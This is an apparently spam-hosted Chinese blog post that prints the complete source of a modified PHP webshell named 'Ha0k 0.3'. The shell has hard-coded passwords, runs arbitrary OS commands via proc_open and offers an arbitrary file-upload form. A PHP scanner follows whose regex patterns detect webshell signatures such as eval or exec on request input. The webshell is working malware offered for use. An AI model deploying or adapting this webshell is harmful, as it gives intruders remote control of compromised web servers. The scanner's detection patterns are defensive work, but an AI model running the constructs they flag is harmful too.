Ha0k 0.3 PHP 网页木马修改版【澳门金沙30064在线网站】

By admin in 计算机教程 on 2019年8月24日

复制代码 代码如下:

 代码如下

<?php
//此处可设置多个用户
$passwd = array(‘ha0k’ => ‘ha0k’,
‘hackerdsb’=>’hackerdsb’);
/* 此处设置命令的别名 */
$aliases = array(‘ls’ => ‘ipconfig’,
‘ll’ => ‘ls -lvhF’);
if
(!isset($_SERVER[‘PHP_AUTH_USER’])||!isset($_SERVER[‘PHP_AUTH_PW’])||
!isset($passwd[$_SERVER[‘PHP_AUTH_USER’]]) ||
$passwd[$_SERVER[‘PHP_AUTH_USER’]] !=
$_SERVER[‘PHP_AUTH_PW’]) {
header(‘WWW-Authenticate: Basic realm=”by Ha0k”‘);
header(‘HTTP/1.0 401 Unauthorized’);
$authenticated = false;
}
else {
$authenticated = true;
/* 开始session */
session_start();
/* 初始化session. */
if (empty($_SESSION[‘cwd’]) || !empty($_REQUEST[‘reset’])) {
$_SESSION[‘cwd’] = getcwd(); //取当前目录
$_SESSION[‘history’] = array();
$_SESSION[‘output’] = ”;
}
if (!empty($_REQUEST[‘command’])) {
if (get_magic_quotes_gpc()) { //0表关闭,1表开启,开启时过滤
/* We don’t want to add the commands to the history in the
* escaped form, so we remove the backslashes now. */
$_REQUEST[‘command’] = stripslashes($_REQUEST[‘command’]);
//将用addslashes()函数处理后的字符串返回原样
}
/* history */
if (($i = array_search($_REQUEST[‘command’],
$_SESSION[‘history’])) !== false) //查找保存数组中的值
unset($_SESSION[‘history’][$i]); //销毁
array_unshift($_SESSION[‘history’],
$_REQUEST[‘command’]);//array_unshift()函数的作用是在一个数组中插入新的元素。而这个新的数组将被添加到原数组的开头部分。函数最终返回的是插入新元素后的数组。
/* 输出Ha0k# command */
$_SESSION[‘output’] .= ‘Ha0k# ‘ . $_REQUEST[‘command’] . “\n”;
/* Initialize the current working directory. */
if (ereg(‘^[[:blank:]]*cd[[:blank:]]*$’,
$_REQUEST[‘command’])) {
$_SESSION[‘cwd’] = dirname(__FILE__); //获取当前所在目录
} elseif (ereg(‘^[[:blank:]]*cd[[:blank:]]+([^;]+)$’,
$_REQUEST[‘command’], $regs)) {
/* The current command is a ‘cd’ command which we have to handle
* as an internal shell command. */
if ($regs[1][0] == ‘/’) {
/* Absolute path, we use it unchanged. */
$new_dir = $regs[1];
} else {
/* Relative path, we append it to the current working
* directory. */
$new_dir = $_SESSION[‘cwd’] . ‘/’ . $regs[1];
}
/* Transform ‘/./’ into ‘/’ */
while (strpos($new_dir, ‘/./’) !== false)
$new_dir = str_replace(‘/./’, ‘/’, $new_dir);
/* Transform ‘//’ into ‘/’ */
while (strpos($new_dir, ‘//’) !== false)
$new_dir = str_replace(‘//’, ‘/’, $new_dir);
/* Transform ‘x/..’ into ” */
while (preg_match(‘|/\.\.(?!\.)|’, $new_dir))
$new_dir = preg_replace(‘|/?[^/]+/\.\.(?!\.)|’, ”, $new_dir);
if ($new_dir == ”) $new_dir = ‘/’;
/* Try to change directory. */
if (@chdir($new_dir)) { //改变当前目录
$_SESSION[‘cwd’] = $new_dir;
} else {
$_SESSION[‘output’] .= “cd: could not change to: $new_dir\n”;
}
} else {
/* The command is not a ‘cd’ command, so we execute it after
* changing the directory and save the output. */
chdir($_SESSION[‘cwd’]); //改变目录
/* 别名扩展 */
$length = strcspn($_REQUEST[‘command’], ” \t”);
//查找\t字符串,返回位置
$token = substr($_REQUEST[‘command’], 0, $length); //取字符串0-\t
if (isset($aliases[$token]))
$_REQUEST[‘command’] = $aliases[$token] .
substr($_REQUEST[‘command’], $length);
$p = proc_open($_REQUEST[‘command’], //执行脚本
array(1 => array(‘pipe’, ‘w’),
2 => array(‘pipe’, ‘w’)),
$io);
/* 读出发送 */
while (!feof($io[1])) {
$_SESSION[‘output’] .= htmlspecialchars(fgets($io[1]),
//转换特殊字符为HTML字符编码
ENT_COMPAT, ‘GB2312’);
}
/* 读出 */
while (!feof($io[2])) {
$_SESSION[‘output’] .= htmlspecialchars(fgets($io[2]),
ENT_COMPAT, ‘GB2312’);
}
fclose($io[1]);
fclose($io[2]);
proc_close($p);//关闭管道
}
}
/* 构建在JavaScript使用命令历史记录 */
if (empty($_SESSION[‘history’])) {
$js_command_hist = ‘””‘;
} else {
$escaped = array_map(‘addslashes’, $_SESSION[‘history’]);
$js_command_hist = ‘””, “‘ . implode(‘”, “‘, $escaped) .
‘”‘;//将数组搞成字符串
}
}
header(‘Content-Type: text/html; charset=GB2312’);
echo ‘<?xml version=”1.0″ encoding=”GB2312″?>’ . “\n”;
?>
<?php
if(is_uploaded_file($HTTP_POST_FILES[‘userfile’][‘tmp_name’]))
{
copy($HTTP_POST_FILES[‘userfile’][‘tmp_name’],
$_POST[‘remotefile’]);
//echo “上传文件成功: ” . $HTTP_POST_FILES[‘userfile’][‘name’];
}
?>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN”
http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"&gt;
<html xmlns=”http://www.w3.org/1999/xhtml” xml:lang=”en”
lang=”en”>
<head>
<title>Ha0k webshell</title>
<script type=”text/javascript” language=”JavaScript”>
var current_line = 0;
var command_hist = new Array(<?php echo $js_command_hist ?>);
var last = 0;
function key(e) {
if (!e) var e = window.event;
if (e.keyCode == 38 && current_line < command_hist.length-1) {
command_hist[current_line] = document.shell.command.value;
current_line++;
document.shell.command.value = command_hist[current_line];
}
if (e.keyCode == 40 && current_line > 0) {
command_hist[current_line] = document.shell.command.value;
current_line–;
document.shell.command.value = command_hist[current_line];
}
}
function init() {
document.shell.setAttribute(“autocomplete”, “off”);
document.shell.output.scrollTop = document.shell.output.scrollHeight;
document.shell.command.focus();
}
</script>
<style type=”text/css”>
<!–
.STYLE1 {
color: #33FF33;
font-weight: bold;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
–>
</style>
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″
/></head>
<body onload=”init()”>
<BODY BGCOLOR=”#$$$$$$”>
<BODY TEXT=”1afa3a”>
<h1><a href=”http://hi.baidu.com/hackerdsb
class=”STYLE1″>HA0K</a></h1>
<h6>WE JUST FOR JUSTICE,FIGHT FOR EVIAL</h6></FONT>
<?php if (!$authenticated) { ?>
<p>You failed to authenticate yourself to PhpShell. You can
<a
href=”<?php echo $_SERVER[‘PHP_SELF’] ?>”>reload</a>
to try again.</p>
<p>Try reading the <a href=”INSTALL”>INSTALL</a> file
if you’re having
problems with installing PhpShell.</p>
</body>
</html>
<?php //
exit;
}
error_reporting (E_ALL);
if (empty($_REQUEST[‘rows’])) $_REQUEST[‘rows’] = 10;
?>
<p>当前目录为: <code><?php echo $_SESSION[‘cwd’]
?></code></p>
<form name=”shell” action=”<?php echo $_SERVER[‘PHP_SELF’]
?>” method=”post”>
<div>
<textarea name=”output” readonly=”readonly” cols=”80″ rows=”<?php
echo $_REQUEST[‘rows’] ?>”>
<?php
$lines = substr_count($_SESSION[‘output’], “\n”);
$padding = str_repeat(“\n”, max(0, $_REQUEST[‘rows’]+1 –
$lines));
echo rtrim($padding . $_SESSION[‘output’]);
?>
<</textarea>
</div><br>
<p class=”prompt”>
$ <input class=”prompt” name=”command” type=”text”
onkeyup=”key(event)” size=”78″ tabindex=”1″>
</p>
<p>
<input type=”submit” value=”执行” />
<input type=”submit” name=”reset” value=”恢复” />
行数: <input type=”text” name=”rows” value=”<?php echo
$_REQUEST[‘rows’] ?>” />
</p>
</form>
<form enctype=”multipart/form-data” action=”” method=”post”>
<input type=”hidden” name=”MAX_FILE_SIZE” value=”1000000″>
<p>本地文件名: <input name=”userfile” type=”file”>
<p>远程文件名: <input name=”remotefile” type=”text”>
<input type=”submit” value=”发送”>
</form>
</body>
</html>

<?php
/**********************
  php扫描后门
**********************/
error_reporting(E_ERROR);
ini_set(‘max_execution_time’,20000);
ini_set(‘memory_limit’,’512M’);
header(“content-Type: text/html; charset=gb2312”);
$matches = array(
  ‘/function\_exists\s*\(\s*[\’|\”](popen|exec|proc\_open|system|passthru)+[\’|\”]\s*\)/i’,
  ‘/(exec|shell\_exec|system|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\)/i’,
  ‘/((udp|tcp)\:\/\/(.*)\;)+/i’,
  ‘/preg\_replace\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i’,
  ‘/preg\_replace\s*\((.*)\(base64\_decode\(\$/i’,
  ‘/(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*(base64\_decode|str\_rot13|gz(\w+)|file\_(\w+)\_contents|(.*)php\:\/\/input)+/i’,
  ‘/(eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\)/i’,
  ‘/eval\s*\(\s*\(\s*\$\$(\w+)/i’,
  ‘/(include|require|include\_once|require\_once)+\s*\(\s*[\’|\”](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\’|\”]\s*\)/i’,
  ‘/\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\)/i’,
  ‘/\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\)/i’,
  ‘/(fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\)/i’,
  ‘/echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\)/i’,
  ‘/new com\s*\(\s*[\’|\”]shell(.*)[\’|\”]\s*\)/i’,
  ‘/\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\)/i’,
  ‘/\$\_\=(.*)\$\_/i’,
  ‘/\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\)/i’,
  ‘/\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\)/i’,
  ‘/\$(\w+)\(\$\{(.*)\}/i’
);
function antivirus($dir,$exs,$matches) {
  if(($handle =
@opendir($dir)) == NULL)
return false;
  while(false !== ($name = readdir($handle))) {
    if($name == ‘.’ || $name == ‘..’) continue;
    $path = $dir.$name;
    if(is_dir($path)) {
      if(is_readable($path)) antivirus($path.’/’,$exs,$matches);
    } elseif(strpos($name,’;’) > -1 || strpos($name,’%00′) > -1 ||
strpos($name,’/’) > -1) {
      echo ‘<p>特征 <input type=”text” style=”width:218px;”
value=”解析漏洞”> ‘.$path.'</p>’; flush(); ob_flush();
    } else {
      if(preg\_match($exs,$name))
continue;
      if(filesize($path) > 10000000) continue;
      $fp = fopen($path,’r’);
      $code = fread($fp,filesize($path));
      fclose($fp);
      if(empty($code)) continue;
      foreach($matches as
$matche) {
        $array = array();
        preg_match($matche,$code,$array);
        if(!$array) continue;
        if(strpos($array[0],”\x24\x74\x68\x69\x73\x2d\x3e”))
continue;
        $len = strlen($array[0]);
        if($len > 10 && $len < 1500) {
          echo ‘<p>特征 <input type=”text” style=”width:218px;”
value=”‘.htmlspecialchars($array[0]).'”> ‘.$path.'</p>’;
          flush(); ob_flush(); break;
        }
      }
      unset($code,$array);
    }
  }
  closedir($handle);
  return true;
}
function strdir($str) { return
str_replace(array(‘\\’,’//’,’//’),array(‘/’,’/’,’/’),chop($str)); }
echo ‘<form method=”POST”>’;
echo ‘<p>路径: <input type=”text” name=”dir”
value=”‘.($_POST[‘dir’] ? strdir($_POST[‘dir’].’/’) :
strdir($_SERVER[‘DOCUMENT_ROOT’].’/’)).'”
style=”width:398px;”></p>’;
echo ‘<p>后缀: <input type=”text” name=”exs”
value=”‘.($_POST[‘exs’] ? $_POST[‘exs’] : ‘.php|.inc|.phtml’).'”
style=”width:398px;”></p>’;
echo ‘<p>操作: <input type=”submit” style=”width:80px;”
value=”scan”></p>’;
echo ‘</form>’;
if(file_exists($_POST[‘dir’]) && $_POST[‘exs’]) {
  $dir = strdir($_POST[‘dir’].’/’);
  $exs = ‘/(‘.str_replace(‘.’,’\\.’,$_POST[‘exs’]).’)/i’;
  echo antivirus($dir,$exs,$matches) ? ‘<p>扫描完毕</p>’ :
‘<p>扫描中断</p>’;
}
?>

 Mcafee(麦咖啡杀毒软件)
防止网页被挂马的设置教程(最后不要在服务器端打开)
我们强烈推荐服务器安装mcafee
8.5i的版本

发表评论

电子邮件地址不会被公开。 必填项已用*标注

网站地图xml地图
Copyright @ 2010-2019 澳门金沙30064在线网站 版权所有